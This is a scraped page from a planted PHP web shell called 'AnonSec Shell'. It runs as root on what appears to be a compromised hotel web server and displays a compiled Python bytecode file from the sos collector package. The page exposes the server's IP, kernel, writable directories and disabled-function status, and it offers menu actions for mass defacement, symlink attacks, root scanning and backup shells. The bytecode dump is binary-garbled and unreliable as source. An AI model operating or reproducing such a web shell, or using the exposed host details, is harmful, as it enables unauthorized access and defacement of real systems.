AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/sos/collector/transports/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/sos/collector/transports/__pycache__/__init__.cpython-310.pyc
o

���b�:�@sZddlZddlZddlZddlZddlmZddlmZmZddl	m
Z
Gdd�d�ZdS)�N)�quote)�ConnectionException�CommandTimeoutException)�boldc@s�eZdZdZdZdd�Zdd�Zdd�Zd	d
�Zdd�Z	e
d
d��Ze
dd��Ze
dd��Z
edd��Zedd��Zdd�Zdd�Zdd�Zdd�Zdd �Z	#	"d6d$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Zd0d1�Zd2d3�Zd4d5�Zd#S)7�RemoteTransportaOThe base class used for defining supported remote transports to connect
    to remote nodes in conjunction with `sos collect`.

    This abstraction is used to manage the backend connections to nodes so that
    SoSNode() objects can be leveraged generically to connect to nodes, inspect
    those nodes, and run commands on them.
    �	undefinedcCsF||_|d|_|d|_|d|_d|_t�d�|_t�d�|_dS)N�cmdlineopts�tmpdir�	need_sudo�sos�sos_ui)	�address�optsr	r
�	_hostname�logging�	getLogger�soslog�ui_log)�selfr
�commons�r�C/usr/lib/python3/dist-packages/sos/collector/transports/__init__.py�__init__!s


zRemoteTransport.__init__cCsd}t�|d|�S)zUAttempts to obfuscate sensitive information in log messages such as
        passwordsz>(?P<var>(pass|key|secret|PASS|KEY|SECRET).*?=)(?P<value>.*?\s)z\g<var>****** )�re�sub)r�msg�regrrr�_sanitize_log_msg*sz!RemoteTransport._sanitize_log_msgcC�0t��dd}d|j||f}|j�|�dS)z#Used to print and log info messages���
[%s:%s] %sN)�inspect�stack�hostnamer�info�rr�caller�lmsgrrr�log_info0�zRemoteTransport.log_infocCr)z$Used to print and log error messagesrr r!N)r"r#r$r�errorr&rrr�	log_error6r*zRemoteTransport.log_errorcCs:|�|�}t��dd}d|j||f}|j�|�dS)z$Used to print and log debug messagesrr r!N)rr"r#r$r�debug)rrr'rrr�	log_debug<s
zRemoteTransport.log_debugcCs|jrd|jvr|jS|jS)N�	localhost)rr
�rrrrr$CszRemoteTransport.hostnamecC�dS)z�Is the transport __currently__ connected to the node, or otherwise
        capable of seamlessly running a command or similar on the node?
        Frr0rrr�	connectedIszRemoteTransport.connectedcCr1)a�This is the command string needed to leverage the remote transport
        when executing commands. For example, for an SSH transport this would
        be the `ssh <options>` string prepended to any command so that the
        command is executed by the ssh binary.

        This is also referenced by the `remote_exec` parameter for policies
        when loading a policy for a remote node
        Nrr0rrr�remote_execPs
zRemoteTransport.remote_execcCs^|tur	|�|�S|�d|j���dd��|jr(|jtjur(|�|j�dS|�d�dS)Nz%s Transport Detailed Help�_� z5Detailed information not available for this transport)r�display_self_help�	set_title�name�title�replace�__doc__�add_text)�cls�sectionrrr�display_help\s
��zRemoteTransport.display_helpcCs�|�d�|�dtd��|�dtd��|�d�ddlm}|D]}td	|�}d
|��}|jd�d||�d
d�q$dS)NzSoS Remote Transport Helpz�
Transports define how SoS connects to nodes and executes commands on them for the purposes of an %s run. Generally, this means transports define how commands are wrapped locally so that they are executed on the remote node(s) instead.zsos collectz�Transports are generally selected by the cluster profile loaded for a given execution, however users may explicitly set one using '%s'. Note that not all transports will function for all cluster/node types.z--transport=$transport_namez�By default, OpenSSH Control Persist is attempted. Additional information for each supported transport is available in the following help sections:
r)�
TRANSPORTSzcollect.transports.%szThe '%s' transportz{:>8}{:<45}{:<30}r5F)�newline)r7r<r�sos.collector.sosnoder@�lower�format)r=r>r@�	transport�_sec�_descrrrr6is.
�������z!RemoteTransport.display_self_helpcCs |�|�r|js|��dSdS)z�Perform the connection steps in order to ensure that we are able to
        connect to the node for all future operations. Note that this should
        not provide an interactive shell at this time.
        TF)�_connectr�
_get_hostname�r�passwordrrr�connect�s

zRemoteTransport.connectcC�td|j��)z�Actually perform the connection requirements. Should be overridden
        by specific transports that subclass RemoteTransport
        z$Transport %s does not define connect��NotImplementedErrorr8rJrrrrH�s�zRemoteTransport._connectc
Cs�d}d}|dkr?|�d|�z
|�|�rWdSWnty6}z|�d||f�|}WYd}~nd}~ww|d7}|dks|�d�td	|��)
z�Attempts to reconnect to the node using the standard connect()
        but does not do so indefinitely. This imposes a strict number of retry
        attempts before failing out
        r�unknown�z"Attempting reconnect (#%s) to nodeTzAttempt #%s exception: %sNz7Unable to reconnect to node after 5 attempts, aborting.z!last exception from transport: %s)r.rL�	Exceptionr,r)rrK�attempts�last_err�errrrr�	reconnect�s&
����
	�zRemoteTransport.reconnectc
Cs^z|��r
|�d�WdS|�d�WdSty.}z|�d|�WYd}~dSd}~ww)zfPerform whatever steps are necessary, if any, to terminate any
        connection to the node
        z#Successfully disconnected from nodez;Unable to successfully disconnect, see log for more detailszFailed to disconnect: %sN)�_disconnectr.r,rR)rrUrrr�
disconnect�s��zRemoteTransport.disconnectcCrM)Nz'Transport %s does not define disconnectrNr0rrrrW���zRemoteTransport._disconnect�FNcCs.|�d|�|rdt|�}|�||||�S)a�Run a command on the node, returning its output and exit code.
        This should return the exit code of the command being executed, not the
        exit code of whatever mechanism the transport uses to execute that
        command

        :param cmd:         The command to run
        :type cmd:          ``str``

        :param timeout:     The maximum time in seconds to allow the cmd to run
        :type timeout:      ``int``

        :param get_pty:     Does ``cmd`` require a pty?
        :type get_pty:      ``bool``

        :param need_root:   Does ``cmd`` require root privileges?
        :type neeed_root:   ``bool``

        :param env:         Specify env vars to be passed to the ``cmd``
        :type env:          ``dict``

        :param get_pty:     Does ``cmd`` require execution with a pty?
        :type get_pty:      ``bool``

        :returns:           Output of ``cmd`` and the exit code
        :rtype:             ``dict`` with keys ``output`` and ``status``
        zRunning command %sz/bin/bash -c %s)r.r�_run_command_with_pexpect)r�cmd�timeout�	need_root�env�get_ptyrrr�run_command�szRemoteTransport.run_commandcCsd|jt|�f}|��}|S)a�Format the command in the way needed for the remote transport to
        successfully execute it as one would when manually executing it

        :param cmd:     The command being executed, as formatted by SoSNode
        :type cmd:      ``str``


        :returns:       The command further formatted as needed by this
                        transport
        :rtype:         ``str``
        z%s %s)r3r�lstrip)rr\rrr�_format_cmd_for_exec�sz$RemoteTransport._format_cmd_for_execc

Cs�|�|�}|s	d}z
tj|d|d�}Wntjjy2}z|�|j�ddd�WYd}~Sd}~wwtjtjg}|rH|j	j
dkrH|�dd	g�|j||d
�}|dvr`|�
||�|j||d
�}|dkrq|j}	|��|j|	d�S|d
kryt|��dS)a�Execute the command using pexpect, which allows us to more easily
        handle prompts and timeouts compared to directly leveraging the
        subprocess.Popen() method.

        :param cmd:     The command to execute. This will be automatically
                        formatted to use the transport.
        :type cmd:      ``str``

        :param timeout: The maximum time in seconds to run ``cmd``
        :type timeout:  ``int``

        :param need_root:   Does ``cmd`` need to run as root or with sudo?
        :type need_root:    ``bool``

        :param env:     Any env vars that ``cmd`` should be run with
        :type env:      ``dict``
        Nzutf-8)�encodingr_��)�status�output�rootz\[sudo\] password for .*:z	Password:�r])�r rr)rc�pexpect�spawn�
exceptions�ExceptionPexpectr.�value�EOF�TIMEOUTr�ssh_user�extend�expect�_send_pexpect_password�before�close�
exitstatusr)
rr\r]r^r_�resultrU�_expects�index�outrrrr[�s6
����z)RemoteTransport._run_command_with_pexpectcCs||dkr |jjs|jjsd}|�|�t|��|�|jj�dS|dkr<|jjs3d}|�|�t|��|�|jj�dSdS)a`Handle password prompts for sudo and su usage for non-root SSH users

        :param index:       The index pexpect.spawn returned to match against
                            either a sudo or su prompt
        :type index:        ``int``

        :param result:      The spawn running the command
        :type result:       ``pexpect.spawn``
        rkz>Unable to run command: sudo password required but not providedr z5Unable to run command as root: no root password givenN)r�sudo_pw�opt�
nopasswd_sudor,rR�sendline�
root_password)rr|rzrrrrrv.s


�z&RemoteTransport._send_pexpect_passwordcCsH|�d�}|ddkr|d��|_|js|j|_|�d|j�|jS)z�Determine the hostname of the node and set that for future reference
        and logging

        :returns:   The hostname of the system, per the `hostname` command
        :rtype:     ``str``
        r$rgrrhzHostname set to %s)ra�striprr
r))r�_outrrrrIFs
zRemoteTransport._get_hostnamec
Cs�d}z&|dkr!|d7}|�||�}|rWdS|�d|�|dks|�d�WdSty@}z|�d|||f�|�d	}~ww)
a_Copy a remote file, fname, to dest on the local node

        :param fname:   The name of the file to retrieve
        :type fname:    ``str``

        :param dest:    Where to save the file to locally
        :type dest:     ``str``

        :returns:   True if file was successfully copied from remote, or False
        :rtype:     ``bool``
        rrQrTz File retrieval attempt %s failedz&File retrieval failed after 5 attemptsFz<Exception encountered during retrieval attempt %s for %s: %sN)�_retrieve_filer)rRr,)r�fname�destrS�retrUrrr�
retrieve_fileVs$�
���zRemoteTransport.retrieve_filecCrM)Nz*Transport %s does not support file copyingrN)rr�r�rrrr�qrYzRemoteTransport._retrieve_filecCs|�d|�|�|�S)z�Read the given file fname and return its contents

        :param fname:   The name of the file to read
        :type fname:    ``str``

        :returns:   The content of the file
        :rtype:     ``str``
        zReading file %s)r.�
_read_file)rr�rrr�	read_fileus	
zRemoteTransport.read_filecCsl|jd|dd�}|ddkr|dSd|dvr"|�d|�dS|�d	||d�d
�dd�f�dS)
Nzcat %s�
rjrgrrhzNo such filezFile %s does not exist on nodezError reading %s: %s�:rrf)rar.r,�split)rr��resrrrr��s���zRemoteTransport._read_file)rZFNF)�__name__�
__module__�__qualname__r;r8rrr)r,r.�propertyr$r2r3�classmethodr?r6rLrHrVrXrWrarcr[rvrIr�r�r�r�rrrrrsD	




!

�'4r)r"rrlr�pipesr�sos.collector.exceptionsrr�
sos.utilitiesrrrrrr�<module>s


Anon7 - 2022
AnonSec Team